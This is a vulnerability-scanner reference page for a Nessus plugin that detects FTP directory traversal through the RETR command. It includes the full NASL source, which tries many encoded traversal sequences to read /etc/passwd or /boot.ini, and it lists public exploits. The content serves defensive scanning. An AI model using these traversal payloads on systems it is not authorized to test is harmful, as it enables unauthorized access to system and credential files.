FTP Server Traversal Arbitrary File Access (RETR) - Nessus

Medium   Plugin ID: 50811

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This page contains detailed information about the FTP Server Traversal Arbitrary File Access (RETR) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview

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ID: 50811
Name: FTP Server Traversal Arbitrary File Access (RETR)
Filename: ftp_get_traversal.nasl
Vulnerability Published: N/A
This Plugin Published: 2010-11-24
Last Modification Time: 2022-04-11
Plugin Version: 1.22
Plugin Type: remote
Plugin Family: FTP
Dependencies: ftpserver_detect_type_nd_version.nasl, os_fingerprint.nasl

Vulnerability Information

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Severity: Medium
Vulnerability Published: N/A
Patch Published: N/A
CVE [?]: N/A
CPE [?]: N/A

Synopsis

The remote FTP server is susceptible to a directory traversal attack.

Description

The remote FTP server allows a user to retrieve files outside his home directory using a specially crafted 'RETR' command with traversal sequences.

A remote attacker could exploit this flaw to gain access to arbitrary files.

Solution

Contact the vendor for an update, use a different product, or disable the service altogether.

Public Exploits

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Target Network Port(s): 21
Target Asset(s): Services/ftp
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the FTP Server Traversal Arbitrary File Access (RETR) vulnerability:

1. Metasploit: exploit/windows/ftp/quickshare_traversal_write
   [QuickShare File Server 1.2.1 Directory Traversal Vulnerability]
2. Exploit-DB: exploits/windows/remote/12498.txt
   [EDB-12498: VicFTPS 5.0 - Directory Traversal]
3. Exploit-DB: exploits/windows/remote/15349.txt
   [EDB-15349: Home FTP Server 1.11.1.149 - (Authenticated) Directory Traversal]
4. Exploit-DB: exploits/windows/remote/15358.txt
   [EDB-15358: SmallFTPd 1.0.3 - Directory Traversal]
5. Exploit-DB: exploits/windows/remote/15445.txt
   [EDB-15445: Femitter FTP Server 1.04 - Directory Traversal]
6. Exploit-DB: exploits/windows/remote/15450.txt
   [EDB-15450: filecopa ftp server 6.01 - Directory Traversal]
7. Exploit-DB: exploits/windows/remote/16105.py
   [EDB-16105: quickshare file share 1.2.1 - Directory Traversal (1)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

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CVSS Score Source [?]: Manual
CVSS Score Rationale: Score from a more in depth analysis done by Tenable
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:N/A:N/E:F/RL:U/RC:ND

CVSS Base Score:	5.0 (Medium)
Impact Subscore:	2.9
Exploitability Subscore:	10.0
CVSS Temporal Score:	4.8 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	4.8 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS Base Score:	5.3 (Medium)
Impact Subscore:	1.4
Exploitability Subscore:	3.9
CVSS Temporal Score:	NA (None)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	5.3 (Medium)

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Plugin Source

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This is the ftp_get_traversal.nasl nessus plugin source code. This script is Copyright (C) 2010-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#TRUSTED 748d69f5c645fa501bed258bf8bde81a08d5e8ff31ac2bfe65af3627a95580cb9c9fb46225257c860f25b9164e4ba9761b4fd7b2184d7c0204998f134fc472dada3b80c5ac5377c4d7a92a8983be62a38707693455c596533155fda29fdd129dda9899edd67d95369c5b23dcd521fd1793e867751c6249859285d33915faeda3a66d54a5bffe0a283be7483c6fc801f9696da65b09809e1f2a9d1f55f08f13a57ef7e2a430feef90b6c5ab3dc9e03827773bc9055630d42f0963f839d8780cd1da59a618e4e4aa314d46d09debc63631db3ef71ee2c1e77b292e205493ad120a239cf15caedb203faefa0b1c726147f7920b0fee69d33fb523d090f86e169a219b23fc1149e0d9d62bb33c8c858014ca4e14db36257ccdce772c83a9b35bd90d37772647e61d524398a43039124137532da5975d1f33c892d0d4ffa6e27b758292bcb3cf99e402d66eb8429fc76f43ea619fe3991ba3fc9a24fdcf346bca1b65f80552c275df397e052cf038112eec52d96c835b1293275fad075f97e04d5b15d48119abc6f3c4cf65b330f51955bfb371815a320d9f86803cbc6da997e2b03a278ed0350d6f29351552bc3b2ac53b1ff52c76f6bb80d91e3e9c24277c898a8ab514fce674f5ec2586a8aaa18ec5b27cca348d65715e4b40ebfc351625abfb3c49f794fb357a45085ba733c91e204e1c6b5e6adb5dbc91a7ec69d6adc342e5d8
#%NASL_MIN_LEVEL 70300
###
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(50811);
  script_version("1.22");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_bugtraq_id(
    39919,
    40419,
    44543,
    44574,
    44759,
    46165
  );
  script_xref(name:"EDB-ID", value:"12498");
  script_xref(name:"EDB-ID", value:"15358");
  script_xref(name:"EDB-ID", value:"15349");
  script_xref(name:"EDB-ID", value:"15445");
  script_xref(name:"EDB-ID", value:"15450");
  script_xref(name:"EDB-ID", value:"16105");

  script_name(english:"FTP Server Traversal Arbitrary File Access (RETR)");

  script_set_attribute(attribute:"synopsis", value:
"The remote FTP server is susceptible to a directory traversal attack.");
  script_set_attribute(attribute:"description", value:
"The remote FTP server allows a user to retrieve files outside his home
directory using a specially crafted 'RETR' command with traversal
sequences.

A remote attacker could exploit this flaw to gain access to arbitrary
files.");
  script_set_attribute(attribute:"solution", value:
"Contact the vendor for an update, use a different product, or disable
the service altogether.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N");
  script_set_attribute(attribute:"cvss_score_source", value:"manual");
  script_set_attribute(attribute:"cvss_score_rationale", value:"score from a more in depth analysis done by Tenable");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'QuickShare File Server 1.2.1 Directory Traversal Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"plugin_publication_date", value:"2010/11/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"FTP");

  script_copyright(english:"This script is Copyright (C) 2010-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ftpserver_detect_type_nd_version.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/ftp", 21);

  exit(0);
}

include("audit.inc");
include("ftp_func.inc");
include("global_settings.inc");
include("misc_func.inc");
include("data_protection.inc");

port = get_ftp_port(default: 21);

global_var soc;
soc = "";


encaps = get_port_transport(port);
_errmsg = "";

os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) file = '/boot.ini';
  else file = '/etc/passwd';
  files = make_list(file);
}
else files = make_list('/etc/passwd', '/boot.ini');

file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/boot.ini'] = "^ *\[boot loader\]";

traversals = make_list(
  "",                                  # nb: to ensure the server doesn't start at the root.
  mult_str(str:"../", nb:12),
  mult_str(str:"..\", nb:12),
  mult_str(str:"..%2f", nb:12),
  mult_str(str:"..%5c", nb:12),
  mult_str(str:".../", nb:12),
  mult_str(str:"...\", nb:12),
  mult_str(str:"...%2f", nb:12),
  mult_str(str:"...%5c", nb:12),
  mult_str(str:"..//", nb:12),
  mult_str(str:"..\\", nb:12),
  mult_str(str:"../\", nb:12),
  mult_str(str:"..\/", nb:12),
  mult_str(str:"..///", nb:12),
  mult_str(str:"../\/", nb:12),
  mult_str(str:"./../", nb:12),
  mult_str(str:".\..\", nb:12),
  "/"+mult_str(str:"../", nb:12),
  "\"+mult_str(str:"..\", nb:12),
  "...",
  "/...",
  "/......",
  "\...",
  "...\",
  "..../",
  "C:\"
);

user = get_kb_item("ftp/login");
pass = get_kb_item("ftp/password");

if (isnull(user) && isnull(pass) && !supplied_logins_only)
{
  user = 'anonymous';
  pass = '[email protected]';
}
else if (isnull(user) && isnull(pass) && supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

function authenticate()
{
  if (soc)
  {
    ftp_close(socket:soc);
    sleep(1);
  }

  soc = ftp_open_and_authenticate( user:user, pass:pass, port:port );
  if ( !soc )
  {
    _errmsg = "Nessus was not able to log in to the FTP server on port "+port+" using the supplied credentials ('"+user+"' / '"+pass+"').";
    return NULL;
  }

  return soc;
}

function get_file(get)
{
  local_var c, f, port2, retry, s, soc2;

  if (!get) return "";

  for (retry=0; retry<3 && !port2; retry++)
  {
    port2 = ftp_pasv(socket:soc);
    if (!port2) sleep(1);
  }

  if (!port2)
  {
    _errmsg = "PASV command failed on port "+port+".";
    return NULL;
  }

  soc2 = open_sock_tcp(port2, transport:encaps);
  if (!soc2)
  {
    _errmsg = "Failed to open a socket on PASV port "+port2+".";
    return NULL;
  }

  c = get;
  s = ftp_send_cmd(socket:soc, cmd:c);
  if (strlen(s) < 4)
  {
    close(soc2);

    if (strlen(s)) _errmsg = "The FTP server on port "+port+" returned an invalid response (" + s + ").";
    else _errmsg = "The FTP server on port" +port + " did not respond.";
    return NULL;
  }
  else if (!egrep(string:s, pattern:"^(425|150) "))
  {
    close(soc2);
    if (!egrep(string:s, pattern:"^(500|550) ")) soc = authenticate();
    return "";
  }

  f = ftp_recv_data(socket:soc2, line:s);
  if (isnull(f)) f = "";
  s = ftp_recv_line(socket:soc);

  close(soc2);
  return f;
}

# Try to retrieve a local file.
contents = "";
exploits = make_list();
found_file = "";

soc = authenticate();
if (!soc) exit(1, _errmsg);

foreach traversal (traversals)
{
  if (preg(pattern:"^[A-Za-z]:", string:traversal) && os && "Windows" >!< os) continue;

  foreach file (files)
  {
    # Once we find a file that works, stick with it for any subsequent tests.
    if (found_file && file != found_file) continue;

    get = "RETR " + traversal;
    if (
      (traversal && preg(pattern:"[/\\]$", string:traversal)) &&
      preg(pattern:"^/", string:file)
    ) get += substr(file, 1);
    else get += file;

    res = get_file(get:get);
    if (isnull(res)) break;
    if (!res) continue;

    if (!traversal) exit(1, "The FTP server listening on port "+port+" serves files from the root directory.");

    if (egrep(pattern:file_pats[file], string:res))
    {
      if (!contents)
      {
        contents = res;
        found_file = file;
      }
      exploits = make_list(
        exploits,
        ereg_replace(pattern:"^RETR(.+)$", replace:"get\1", string:get)
      );
      break;
    }
  }
  if (contents && !thorough_tests) break;
  if (_errmsg) break;

  if (!traversal) continue;

  soc = authenticate();
  if (!soc) break;

  c = "CWD " + traversal;
  s = ftp_send_cmd(socket:soc, cmd:c);

  if (strlen(s) < 4)
  {
    if (strlen(s)) _errmsg = "The FTP server on port "+port+" returned an invalid response (" + s + ").";
    else _errmsg = "Failed to receive a response from the FTP server on port " +port + ".";
    break;
  }
  if (!egrep(string:s, pattern:"^250 "))
  {
    if (!egrep(string:s, pattern:"^(500|550) "))
    {
      soc = authenticate();
      if (!soc) break;
    }
    continue;
  }

  foreach file (files)
  {
    # Once we find a file that works, stick with it for any subsequent tests.
    if (found_file && file != found_file) continue;

    get = "RETR " + substr(file, 1);

    res = get_file(get:get);
    if (isnull(res)) break;
    if (!res) continue;

    if (egrep(pattern:file_pats[file], string:res))
    {
      if (!contents)
      {
        contents = res;
        found_file = file;
      }
      exploits = make_list(
        exploits,
        "cd " + traversal + '\n' + 'get ' + substr(file, 1)
      );
      break;
    }
  }
  if (contents && !thorough_tests) break;
  if (_errmsg) break;

  soc = authenticate();
  if (!soc) break;
}
if (max_index(exploits) == 0)
{
  if (_errmsg) exit(1, _errmsg);
  else exit(0, "The FTP server on port "+port+" does not appear to be affected.");
}

# Report findings.
if (report_verbosity > 0)
{
  if (max_index(exploits) > 1) s = "s";
  else s = "";

  report = '\n' +
    'Nessus was able to exploit the issue to retrieve the contents of\n' +
    "'" + found_file + "' on the remote host using the following FTP command" + s + ' :\n' +
    '\n';
  foreach exploit (exploits)
  {
    exploit = str_replace(find:'\n', replace:'\n    ', string:exploit);
    report += '  - ' + exploit + '\n';
  }

  if (report_verbosity > 1)
  {
    # nb: we'll make sure contents has a newline.
    contents = chomp(contents) + '\n';
    contents = data_protection::redact_etc_passwd(output:contents);
    report += '\n' +
      'Here are its contents :\n' +
      '\n' +
      crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
      contents +
      crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
  }

  if (_errmsg)
  {
    report += '\n' +
      'Note that Nessus encountered the following error and did not finish\n' +
      'completely testing the service :\n' +
      '\n' +
      '  ' + _errmsg + '\n';
    if ("using the supplied credentials" >< _errmsg)
    {
      report += '\n' +
        'This plugin re-authenticates after each attempt to retrieve a file,\n' +
        'and a sporadic authentication failure such as this likely occurs\n' +
        'because the target service does not handle multiple users well.\n';
    }
  }

  security_warning(port:port, extra:report);
}
else security_warning(port);

The latest version of this script can be found in these locations depending on your platform:

• Linux / Unix:
  /opt/nessus/lib/nessus/plugins/ftp_get_traversal.nasl
• Windows:
  C:\ProgramData\Tenable\Nessus\nessus\plugins\ftp_get_traversal.nasl
• Mac OS X:
  /Library/Nessus/run/lib/nessus/plugins/ftp_get_traversal.nasl

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How to Run

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Here is how to run the FTP Server Traversal Arbitrary File Access (RETR) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

1. Click to start a New Scan.
2. Select Advanced Scan.
3. Navigate to the Plugins tab.
4. On the top right corner click to Disable All plugins.
5. On the left side table select FTP plugin family.
6. On the right side table select FTP Server Traversal Arbitrary File Access (RETR) plugin ID 50811.
7. Specify the target on the Settings tab and click to Save the scan.
8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl ftp_get_traversal.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a ftp_get_traversal.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - ftp_get_traversal.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state ftp_get_traversal.nasl -t <IP/HOST>

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References

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BID | SecurityFocus Bugtraq ID:

• 39919, 40419, 44543, 44574, 44759, 46165

See also:

• https://www.tenable.com/plugins/nessus/50811
• https://vulners.com/nessus/FTP_GET_TRAVERSAL.NASL

Similar and related Nessus plugins:

• 11112 - FTP Server Traversal Arbitrary File Access
• 10084 - Multiple FTP Server Command Handling Overflow
• 12080 - Serv-U MDTM Command Overflow
• 12037 - Serv-U SITE CHMOD Command Multiple Vulnerabilities
• 53847 - FTP Service AUTH TLS Plaintext Command Injection
• 62813 - Symphony Password Retrieval Script XSS
• 69421 - Tumbleweed SecureTransport vcst_eu.dll ActiveX Control Buffer Overflows
• 20012 - TYPSoft FTP Server <= 1.10 Multiple DoS
• 12072 - smallftpd 1.0.3 Multiple DoS

Version

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This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file ftp_get_traversal.nasl version 1.22. For more plugins, visit the Nessus Plugin Library.

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